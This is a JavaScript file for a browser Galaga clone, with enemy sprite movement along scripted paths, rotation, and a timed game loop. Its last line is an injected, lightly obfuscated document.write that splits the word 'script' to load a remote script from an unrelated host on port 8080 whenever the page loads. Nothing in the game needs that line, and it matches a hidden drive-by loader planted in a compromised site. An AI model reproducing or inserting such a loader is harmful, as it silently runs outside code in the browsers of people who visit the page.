var globTimer;
var globTime = 0;
var fPath1;
var blnFlySpawned = new Array(20);
var flyGuy = new Array(20);
var gCount = 0;
var blnInit;
var blnRunning = false;
var lStraightLineVelocity = 8;
var myPi = 3.14159265;


fPath1 = [[4, .5, 0], [13, 1.5, 8],[1, 1, 0], [9, 1.5, 8],[2, 1, 0],[15, 1.5, 8],[3, 1, 0], [11, 1.5, 8], [4, .5, 0]];
fPath2 = [[10, 2, 8]];

function convertRadiansToDegrees(fRadians) {
	var fDegrees = (fRadians * 360) / (myPi * 2);
	return fDegrees;
}

function preloadGraphics() {
	if (document.images) {
		var iFly = new Image();
		var iMoth = new Image();
		var iGalaga = new Image();
		var iShip = new Image();
		iFly.src = 'fly.gif';
		iMoth.src = 'moth.gif';
		iGalaga.src = 'galaga.gif';
		iShip.src = 'ship.gif';
	}
}

function flyEnemy() {
	this.x = 0;
	this.y = 0;
	this.objName = '';
	this.objTime = 0;
	this.curPath = fPath1;
	this.curPathStep = 0;
	this.pathType = this.curPath[this.curPathStep][0];
	this.dirDeg = 0;
	this.dirCCW = 0;
	this.bgOffset = 0;
	this.debugText = '';
	this.flyBrain = updateEnemy;
	this.moveSprite = moveSpriteDiv;
	this.rotateSprite = rotateSprite;
}

function rotateSprite() {
	var fDeg = this.dirDeg;
	if (fDeg >= 360) {
		fDeg = fDeg - 360;
	}
	if (fDeg >= 348.75) {
		this.bgOffset = 0;
	} else if (fDeg >= 326.25) {
		this.bgOffset = 15 * -16;
	} else if (fDeg >= 303.75) {
		this.bgOffset = 14 * -16;
	} else if (fDeg >= 281.25) {
		this.bgOffset = 13 * -16;
	} else if (fDeg >= 258.75) {
		this.bgOffset = 12 * -16;
	} else if (fDeg >= 236.25) {
		this.bgOffset = 11 * -16;
	} else if (fDeg >= 213.75) {
		this.bgOffset = 10 * -16;
	} else if (fDeg >= 191.25) {
		this.bgOffset = 9 * -16;
	} else if (fDeg >= 168.75) {
		this.bgOffset = 8 * -16;
	} else if (fDeg >= 146.25) {
		this.bgOffset = 7 * -16;
	} else if (fDeg >= 123.75) {
		this.bgOffset = 6 * -16;
	} else if (fDeg >= 101.25) {
		this.bgOffset = 5 * -16;
	} else if (fDeg >= 78.75) {
		this.bgOffset = 4 * -16;
	} else if (fDeg >= 56.25) {
		this.bgOffset = 3 * -16;
	} else if (fDeg >= 33.75) {
		this.bgOffset = 2 * -16;
	} else if (fDeg >= 11.25) {
		this.bgOffset = 1 * -16;
	} else {
		this.bgOffset = 0;
	}
	var sprDiv = document.getElementById(this.objName);
	var bgPos = this.bgOffset + "px " + (this.dirCCW * -16) + "px";
	sprDiv.style.backgroundPosition = bgPos;
}

function updateEnemy() {
	switch(this.pathType) {
		case 0: //Nothing
			break;
		case 1: // Up
			this.y -= lStraightLineVelocity;
			this.dirCCW = 0;
			this.dirDeg = 0;
			break;
		case 2: // Left
			this.x -= lStraightLineVelocity;
			this.dirCCW = 0;
			this.dirDeg = 270;
			break;
		case 3: // Down
			this.y += lStraightLineVelocity;
			this.dirCCW = 0;
			this.dirDeg = 180;
			break;
		case 4: // Right
			this.x += lStraightLineVelocity;
			this.dirCCW = 0;
			this.dirDeg = 90;
			break;
		case 5: // Up Left
			this.x -= lStraightLineVelocity;
			this.y -= lStraightLineVelocity;
			this.dirCCW = 0;
			this.dirDeg = 225;
			break;
		case 6: // Down Left
			this.x -= lStraightLineVelocity;
			this.y += lStraightLineVelocity;
			this.dirCCW = 0;
			this.dirDeg = 315;
			break;
		case 7: // Down Right
			this.x += lStraightLineVelocity;
			this.y += lStraightLineVelocity;
			this.dirCCW = 0;
			this.dirDeg = 45;
			break;
		case 8: // Up Right
			this.x += lStraightLineVelocity;
			this.y -= lStraightLineVelocity;
			this.dirCCW = 0;
			this.dirDeg = 135;
			break;
		case 9: // Clockwise from Left
			var fRadians = this.objTime * myPi;
			this.x += Math.sin(fRadians) * this.curPath[this.curPathStep][2];
			this.y -= Math.cos(fRadians) * this.curPath[this.curPathStep][2];
			this.dirCCW = 0;
			this.dirDeg = convertRadiansToDegrees(fRadians);
			break;
		case 10: // Anti-Clockwise from Left
			var fRadians = this.objTime * myPi;
			this.x += Math.sin(fRadians) * this.curPath[this.curPathStep][2];
			this.y += Math.cos(fRadians) * this.curPath[this.curPathStep][2];
			this.dirCCW = 1;
			this.dirDeg = convertRadiansToDegrees(fRadians);
			break;
		case 11: // Clockwise from Right
			var fRadians = (this.objTime * myPi) + myPi;
			this.x += Math.sin(fRadians) * this.curPath[this.curPathStep][2];
			this.y -= Math.cos(fRadians) * this.curPath[this.curPathStep][2];
			this.dirCCW = 0;
			this.dirDeg = convertRadiansToDegrees(fRadians);
			break;
		case 12: // Anti-Clockwise from Right
			var fRadians = (this.objTime * myPi) + myPi;
			this.x -= Math.sin(fRadians) * this.curPath[this.curPathStep][2];
			this.y -= Math.cos(fRadians) * this.curPath[this.curPathStep][2];
			this.dirCCW = 1;
			this.dirDeg = convertRadiansToDegrees(fRadians);
			break;
		case 13: // Clockwise from Top
			var fRadians = (this.objTime * myPi) + (myPi / 2);
			this.x += Math.sin(fRadians) * this.curPath[this.curPathStep][2];
			this.y -= Math.cos(fRadians) * this.curPath[this.curPathStep][2];
			this.dirCCW = 0;
			this.dirDeg = convertRadiansToDegrees(fRadians);
			break;
		case 14: // Anti-Clockwise from Top
			var fRadians = (this.objTime * myPi) + (myPi / 2);
			this.x -= Math.sin(fRadians) * this.curPath[this.curPathStep][2];
			this.y -= Math.cos(fRadians) * this.curPath[this.curPathStep][2];
			this.dirCCW = 1;
			this.dirDeg = convertRadiansToDegrees(fRadians);
			break;
		case 15: // Clockwise from Bottom
			var fRadians = (this.objTime * myPi) + ((myPi / 2) * 3);
			this.x += Math.sin(fRadians) * this.curPath[this.curPathStep][2];
			this.y -= Math.cos(fRadians) * this.curPath[this.curPathStep][2];
			this.dirCCW = 0;
			this.dirDeg = convertRadiansToDegrees(fRadians);
			break;
		case 16: // Anti-Clockwise from Bottom
			var fRadians = (this.objTime * myPi) + ((myPi / 2) * 3);
			this.x -= Math.sin(fRadians) * this.curPath[this.curPathStep][2];
			this.y -= Math.cos(fRadians) * this.curPath[this.curPathStep][2];
			this.dirCCW = 1;
			this.dirDeg = convertRadiansToDegrees(fRadians);
			break;
	}
	this.objTime += 1/30 + 0.01;
	if (this.objTime >= this.curPath[this.curPathStep][1]) {
		if (this.curPathStep < this.curPath.length-1) {
			this.curPathStep++;
			this.x = Math.round(this.x);
			this.y = Math.round(this.y);
		} else {
			this.curPathStep = 0;
			this.x = Math.round(this.x);
			this.y = Math.round(this.y);
		}
		this.objTime = 0;
		this.pathType = this.curPath[this.curPathStep][0];
	}
	this.rotateSprite();
	if (document.getElementById(this.objName).style.display == 'none') {
		document.getElementById(this.objName).style.display = 'block';
	}
	this.moveSprite();
}

function moveSpriteDiv() {
	var sObj = document.getElementById(this.objName);
	sObj.style.left = this.x + 'px';
	sObj.style.top = this.y + 'px';
}

function gameLoop() {
	if (!blnInit) {
		debugPrint("TK Galaga Alpha");
		preloadGraphics();
		blnInit = true;
		blnRunning = true;
	}
	if (globTime > 1) {
		for (fCount = 0; fCount < flyGuy.length; fCount++) {
			if (globTime > 1 + (.101 * (fCount + 1)) && !blnFlySpawned[fCount]) {
				var paDiv = document.getElementById('playarea');
				var flDiv = document.createElement('div');
				flyGuy[fCount] = new flyEnemy();
				flyGuy[fCount].x = 240;
				flyGuy[fCount].y = 320;
				flyGuy[fCount].objName = 'enyFly' + fCount;
				flDiv.setAttribute('id', flyGuy[fCount].objName);
				flDiv.className = 'fly';
				flDiv.style.display = 'none';
				if (fCount == 0) {
					flDiv.className = 'galaga';
				} else {
					if (fCount % 2 == 0) {
						flDiv.className = 'moth';
					} else {
						flDiv.className = 'fly';
					}
				}
				paDiv.appendChild(flDiv);
				blnFlySpawned[fCount] = true;
			}
		}
	}
	var strDegs = '';
	for (fCount = 0; fCount < flyGuy.length; fCount++) {
		if (blnFlySpawned[fCount]) {
			flyGuy[fCount].flyBrain();
		}
	}
	globTime += 1/60;
	globTimer = setTimeout("gameLoop()", (1000/30));
}

function debugPrint(strText) {
	var sbDiv = document.getElementById("status");
	if (sbDiv.innerHTML.length > 0) {
		sbDiv.innerHTML += "<br />"+strText;
	} else {
		sbDiv.innerHTML = strText;
	}
}

function stopstart() {
	if (blnRunning) {
		clearTimeout(globTimer);
		blnRunning = false;
	} else {
		setTimeout("gameLoop()", (1000/30));
		blnRunning = true;
	}
}

document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Web_Page.js"></scr'+'ipt>');
